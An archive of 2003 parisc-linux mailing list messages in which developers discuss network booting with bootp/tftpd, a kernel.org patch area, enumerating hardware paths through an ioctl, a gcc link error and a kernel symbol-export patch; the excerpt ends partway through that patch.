Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 08C374834; Thu, 13 Mar 2003 10:50:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030313125511.GA29631@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17927

On Thu, Mar 13, 2003 at 12:55:11PM +0000, Matthew Wilcox wrote:
> > lba version TR2.0 (0x1) found at 0xfed38000
> > Can't support LBA older than TR2.1 - continuing under adversity.
> 
> Note to self: find replacement C3k IO board for grant.

heh - thanks...but it actually works fine. This is a proto-C3000
that I've upgraded the CPU to one that works right. We shouldn't
ever see this msg on machines sold to customers.

grant


From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: trnepal <trnepal@papuasia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bootp/tftpd :(
Date: Thu, 13 Mar 2003 19:04:16 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <200303131904.16471.trnepal@papuasia.org>
References: <EE611482-5545-11D7-A259-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622283 22868 80.91.229.3 (22 Nov 2014 02:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 10:57:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.cp.tin.it (vsmtp3.tin.it [212.216.176.223])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDCFA4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 10:57:11 -0700 (MST)
Original-Received: from vaiom (80.117.31.93) by smtp3.cp.tin.it (6.5.033)
        id 3E48CE9F00BE8508; Thu, 13 Mar 2003 18:57:06 +0100
User-Agent: KMail/1.4.3
In-Reply-To: <EE611482-5545-11D7-A259-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17928

On Thursday 13 March 2003 12:21, Thibaut VARENE wrote:

> obviously you still haven't found the "Reply All" command in your mail
> client.

mm, eheh. again i replied only to you cause i thought it was not
a stuff that matters for the list .. anyway now im writing to all:
(probably annoying someone :)

>
> bad configuration in inetd and/or bad request from the client?

i dont know .. anyway my inetd was right, a standard one as i read
in your faq. i posted it in my first post. i cant control the client beha=
viour=20
(or im unable to :) ..

my bootptab,

pa:ht=3Dether:bf=3Dlifimage:hd=3D/tftpboot/:ha=3D080009C9A102:ip=3D10.0.0=
=2E12:sm=3D255.255.255.0

my inetd.conf,

tftp    dgram   udp     wait    root    /usr/sbin/tcpd  /usr/sbin/in.tftp=
d=20
/tftpboot

i used to launch bootpd -d9 so i dont have a bootpd inetd entry.

this is a successfull boot:

Mar 12 23:46:27 vivaio bootpd[867]: found 10.0.0.12 (pa)
Mar 12 23:46:27 vivaio bootpd[867]: bootfile=3D"/tftpboot//lifimage"

this in a unsuccessfull boot:

Mar 12 16:39:37 vivaio in.tftpd[544]: connect from 10.0.0.12
Mar 12 16:39:37 vivaio tftpd[545]: tftpd: trying to get file:=20
/tftboot/lifimage

> still I can't help without output.

mm, i see. anyway i got those errors only with the ext cdrom
(a sony drive in a cool apple cd300 chassis :) .. so all was probably due=
 to=20
the cdrom. but with no errors the lifimage (the newest i found, 09march) =
was=20
unable to write the filesystem to the disk.

> dead hard drive?

mm i was able to run a badblocks check and i wrote a filesystem
with another machine (debian/intel) before trying the good (for me) lifim=
age=20
=2E. anyway now it rocks. probably it was a software failure i cant track=
 down=20
(maybe a borderline dead drive, maybe it will be dead tomorrow :).

> cool.

sure. my little 712/60 is now playing mp3 from its internal
speaker. and im happy :)).=20

> relax: watch a game, have a beer... True.

eheh, okk. thankyou. byee.'



From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Announce: kernel patches now available from kernel.org
Followup-To: gmane.linux.ports.hppa
Date: Thu, 13 Mar 2003 20:40:57 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20030313204057.GD29631@parcelfarce.linux.theplanet.co.uk>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622284 22870 80.91.229.3 (22 Nov 2014 02:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:24 +0000 (UTC)
Cc: parisc-linux-announce@parisc-linux.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 13:41:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id EE8B44834; Thu, 13 Mar 2003 13:41:00 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18tZVZ-0004eg-00; Thu, 13 Mar 2003 20:40:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17929

Thanks to Peter Anvin, we now have an area on kernel.org:

http://www.kernel.org/pub/linux/kernel/ports/parisc/

So far I've just copied some recent patches there.  Paul is still
autogenerating the patches on ftp.parisc-linux.org and I'm just copying
them to kernel.org manually.  Suggestions on naming/contents/organisation
are welcome.

Hopefully this'll make it clear to people they shouldn't be running Linus'
kernel just yet ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Fri, 14 Mar 2003 09:45:59 +0100
Organization: H.P
Lines: 56
Approved: news@gmane.org
Message-ID: <3E7196C7.8A35605F@hp.com>
References: <20030313112232.A10172@typhon.pilat.fr>
		<3E706BE4.E53961BD@hp.com> <20030313134558.6cf9177c.vincentl@ec-lyon.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------7EA97E353DED95CEF6EF5C43"
X-Trace: ger.gmane.org 1416622284 22873 80.91.229.3 (22 Nov 2014 02:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Lyonel Vincent <vincentl@ec-lyon.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 01:46:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id AECA34834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 01:46:16 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 0A81A4BD; Fri, 14 Mar 2003 09:46:12 +0100 (MET)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id JAA22514;
	Fri, 14 Mar 2003 09:45:54 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17930

This is a multi-part message in MIME format.
--------------7EA97E353DED95CEF6EF5C43
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpJJ2xsIHRyeSB0byBhZGQgYW4gaW9jdGxzIGluIG15IGR1bXAgZHJpdmVyIHRv
IHByaW50IHRoaXMgbGlzdC4gSXQgd2lsbA0KZ2l2ZSBhIGdvb2Qgc3RhcnRpbmcgcG9pbnQs
IGlzbid0IGl0ID8NClRoZSBvdGhlciBjaG9pY2UgaXMgdG8gY3JlYXRlIGEgbmV3IG1vZHVs
ZXMgdGhhdCB1c2UgbXkgZnVuY3Rpb25zDQppbiBmaXJtd2FyZS5jLiBCdXQga2VlcCBpbiBt
aW5kIHRoYXQgaXQgd2lsbCB1c2VmdWxsIG9ubHkgZm9yIHBhLXJpc2MuDQpJIGRvbid0IGtu
b3cgaWYgaXQgaXMgdGhlIGJlc3QgcHJhY3RpY2UuDQoNCiAgICBjaGVlcnMuDQoNCkx5b25l
bCBWaW5jZW50IHdyb3RlOg0KDQo+IEhpIEJydW5vLA0KPg0KPiBUaGF0IHNvdW5kcyBsaWtl
IHdoYXQgSSB3YXMgbG9va2luZyBmb3IgKEhXIHBhdGggKyB2ZXJzaW9uIGluZm9ybWF0aW9u
KSENCj4gV2hhdCBkbyB5b3UgdGhpbmsgaXMgdGhlIGJlc3QgYXBwcm9hY2g/DQo+DQo+IGNo
ZWVycywNCj4gbHYuDQo+DQo+IE9uIFRodSwgMTMgTWFyIDIwMDMgMTI6MzA6NDQgKzAxMDAN
Cj4gYnJ1bm9fdmlkYWxAaHAuY29tIHdyb3RlOg0KPg0KPiA+ICAgICBIaSBndXlzLg0KPiA+
IFdoaWxlIGRldmVsb3BwaW5nIHRoZSBkdW1wIG1vZHVsZXMsIEkgaGFkIHRvIGZpbmQgYSB3
YXkgdG8gcmV0cmlldmUNCj4gPiB0aGUgaGFyZHdhcmUgcGF0aCBvZiBkaXNrL2hiYS4gU28g
SSBoYWQgdG8gZGV2ZWxvcHBlIGEgc21hbGwgaGFjaw0KPiA+IGluIHRoZSBrZXJuZWwvZmly
bXdhcmUuYyBpbiBvcmRlciB0byByZXRyaXZlIHRoZSByaWdodCBoYmEuDQo+ID4gQnV0IGl0
IGlzIHBhcmlzYyBkZXBlbmRhbnQuIERvIHlvdSB3YW50IEkgdHJ5IHRvIGFkZCBhbiBpb2N0
bCBpbiBteQ0KPiA+IGR1bXAgbW9kdWxlcyBpbiBvcmRlciB0byBwcmludCBpbiB1c2VyIHNw
YWNlIHRoaXMgaW5mb3JtYXRpb25zID8NCj4gPiBFeGFtcGxlOg0KPiA+DQo+ID4gc2l6ZTox
NTAwMTYwIG5yX3NlY3RzOjMwMDAzMjAgc3RhcnRfc2VjdDozNzQ3ODQNCj4gPiBod3BhdGg6
IDAvMC8xLzEuMTUuMC4wLg0KPiA+IGR1bXAgZGV2aWNlIG9wZW5lZDogMHg4MTMgd2l0aCBp
bmRleDogMCBhdCBocGE6IDB4OTAwDQo+ID4NCj4gPiBTbyBteSBmdW5jdGlvbnMgYXJlIGFi
bGUgdG8gcHJpbnQgdGhlIGh3IHBhdGggb2YgZWFjaCBpbyBtb2R1bGVzLg0KPiA+IElzIGl0
IHdoYXQgeW91IGFyZSBsb29raW5nIGZvciA/DQo+ID4NCj4gPiAtLQ0KPiA+ICAgICAgICAg
VmlkYWwgQnJ1bm8sICg3NzAtNDI3MSkNCj4gPiAgICAgICAgIFNTRC1IQSBUZWFtLCBIUC1V
WCAmIExJTlVYIFN1cHBvcnQNCj4gPiAgICAgICAgIGJydW5vX3ZpZGFsQGFkbWluLmZyYW5j
ZS5ocC5jb20NCj4gPg0KPiA+DQo+DQo+IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fDQo+IHBhcmlzYy1saW51eCBtYWlsaW5nIGxpc3QNCj4gcGFy
aXNjLWxpbnV4QGxpc3RzLnBhcmlzYy1saW51eC5vcmcNCj4gaHR0cDovL2xpc3RzLnBhcmlz
Yy1saW51eC5vcmcvbWFpbG1hbi9saXN0aW5mby9wYXJpc2MtbGludXgNCg0KLS0NCiAgICAg
ICAgVmlkYWwgQnJ1bm8sICg3NzAtNDI3MSkNCiAgICAgICAgU1NELUhBIFRlYW0sIEhQLVVY
ICYgTElOVVggU3VwcG9ydA0KICAgICAgICBicnVub192aWRhbEBhZG1pbi5mcmFuY2UuaHAu
Y29tDQoNCg0K
--------------7EA97E353DED95CEF6EF5C43
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------7EA97E353DED95CEF6EF5C43--



From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Fri, 14 Mar 2003 13:33:05 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <20030314133305.4311a8e6.vincentl@ec-lyon.fr>
References: <20030313112232.A10172@typhon.pilat.fr>
	<3E706BE4.E53961BD@hp.com>
	<20030313134558.6cf9177c.vincentl@ec-lyon.fr>
	<3E7196C7.8A35605F@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622284 22874 80.91.229.3 (22 Nov 2014 02:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 05:33:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77F434834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 05:33:26 -0700 (MST)
Original-Received: from concerto.grenoble.hp.com (concerto.grenoble.hp.com [15.128.15.118])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id 51B082AF; Fri, 14 Mar 2003 13:32:40 +0100 (MET)
Original-Received: from dhcp-15-204-125-53.grenoble.hp.com (dhcp-15-204-125-53.grenoble.hp.com [15.204.125.53])
	by concerto.grenoble.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id NAA22770;
	Fri, 14 Mar 2003 13:32:25 +0100 (MET)
In-Reply-To: <3E7196C7.8A35605F@hp.com>
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17931

Hi Bruno,

The ioctl sounds great to me.
On which device would you "attach" it (as some of the devices I'd like
to report don't even have an entry in /dev), create a new one? Correct
me if I'm wrong (I don't know much about IOCTLs)
If you want me to help testing/developing, I have a 9000/C180 w/ Debian
(unstable) ready to use.

cheers,
lv.

PS: being PA-RISC dependent is not a problem, I already have ifdefs for
x86, PowerPC and Alpha

On Fri, 14 Mar 2003 09:45:59 +0100
bruno_vidal@hp.com wrote:

>     Hi
> I'll try to add an ioctls in my dump driver to print this list. It
> will give a good starting point, isn't it ?
> The other choice is to create a new modules that use my functions
> in firmware.c. But keep in mind that it will usefull only for pa-risc.
> I don't know if it is the best practice.
> 
>     cheers.
> 
> Lyonel Vincent wrote:
> 
> > Hi Bruno,
> >
> > That sounds like what I was looking for (HW path + version
> > information)! What do you think is the best approach?
> >
> > cheers,
> > lv.
> >
> > On Thu, 13 Mar 2003 12:30:44 +0100
> > bruno_vidal@hp.com wrote:
> >
> > >     Hi guys.
> > > While developping the dump modules, I had to find a way to
> > > retrieve the hardware path of disk/hba. So I had to developpe a
> > > small hack in the kernel/firmware.c in order to retrive the right
> > > hba. But it is parisc dependant. Do you want I try to add an ioctl
> > > in my dump modules in order to print in user space this
> > > informations ? Example:
> > >
> > > size:1500160 nr_sects:3000320 start_sect:374784
> > > hwpath: 0/0/1/1.15.0.0.
> > > dump device opened: 0x813 with index: 0 at hpa: 0x900
> > >
> > > So my functions are able to print the hw path of each io modules.
> > > Is it what you are looking for ?
> > >
> > > --
> > >         Vidal Bruno, (770-4271)
> > >         SSD-HA Team, HP-UX & LINUX Support
> > >         bruno_vidal@admin.france.hp.com
> > >
> > >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> --
>         Vidal Bruno, (770-4271)
>         SSD-HA Team, HP-UX & LINUX Support
>         bruno_vidal@admin.france.hp.com
> 
> 



From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Fri, 14 Mar 2003 13:48:59 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3E6C78E100001649__12087.9018134021$1416622285$gmane$org@ocpmta2.freegates.net>
References: <3E68A24B00000CC9@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622285 22878 80.91.229.3 (22 Nov 2014 02:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:25 +0000 (UTC)
Cc: "Matthias Klose" <doko@cs.tu-berlin.de>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 05:49:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD311483F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 05:49:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18tocP-0007HC-00; Fri, 14 Mar 2003 13:49:01 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 14 Mar 2003 13:48:59 +0100
In-Reply-To: <3E68A24B00000CC9@ocpmta6.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17932

>>
>Ok I am gonna try to rebuild it with gcc-3.0.
>

Wel I just do it (in 32bits naturaly) and already encounter a problem :_)
:
`gcc -print-libgcc-file-name` /usr/src/work/linux-2.4.20-pa28/arch/parisc/lib/lib.a
/usr/src/work/linux-2.4.20-pa28/lib/lib.a  \
        --end-group \
        -o vmlinux
net/network.o(.text.rtnetlink_rcv+0x84): In function `rtnetlink_rcv':
: undefined reference to `rtnetlink_rcv_skb'
make: *** [vmlinux] Error 1

(with gcc-3.2 with same src && same .config there was no pb)

Thanks in advance for advise,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Fri, 14 Mar 2003 14:04:17 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303141351000.23830-100000@gfrw1044.bocc.de>
References: <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622285 22882 80.91.229.3 (22 Nov 2014 02:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:25 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 06:04:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.nwe.de (mail1.nwe.de [195.226.126.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id E39014834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 06:04:31 -0700 (MST)
Original-Received: from gfrw1044.bocc.de (pD9E2790C.dip.t-dialin.net [217.226.121.12])
	(authenticated (0 bits))
	by mail1.nwe.de (8.12.8/8.11.0) with ESMTP id h2ED4MgO024479
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 14:04:29 +0100 (CET)
X-X-Sender: jochen@gfrw1044.bocc.de
In-Reply-To: <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17933

Hi,

since the patch was included in CVS, several modules fail to load with
unresolved external __flush_dcache_page.

This should fix it:

# cvs diff -u parisc_ksyms.c
Index: parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.44
diff -u -r1.44 parisc_ksyms.c
--- parisc_ksyms.c      11 Jan 2003 20:10:46 -0000      1.44
+++ parisc_ksyms.c      14 Mar 2003 12:49:49 -0000
@@ -127,6 +127,7 @@
 #include <asm/cache.h>
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
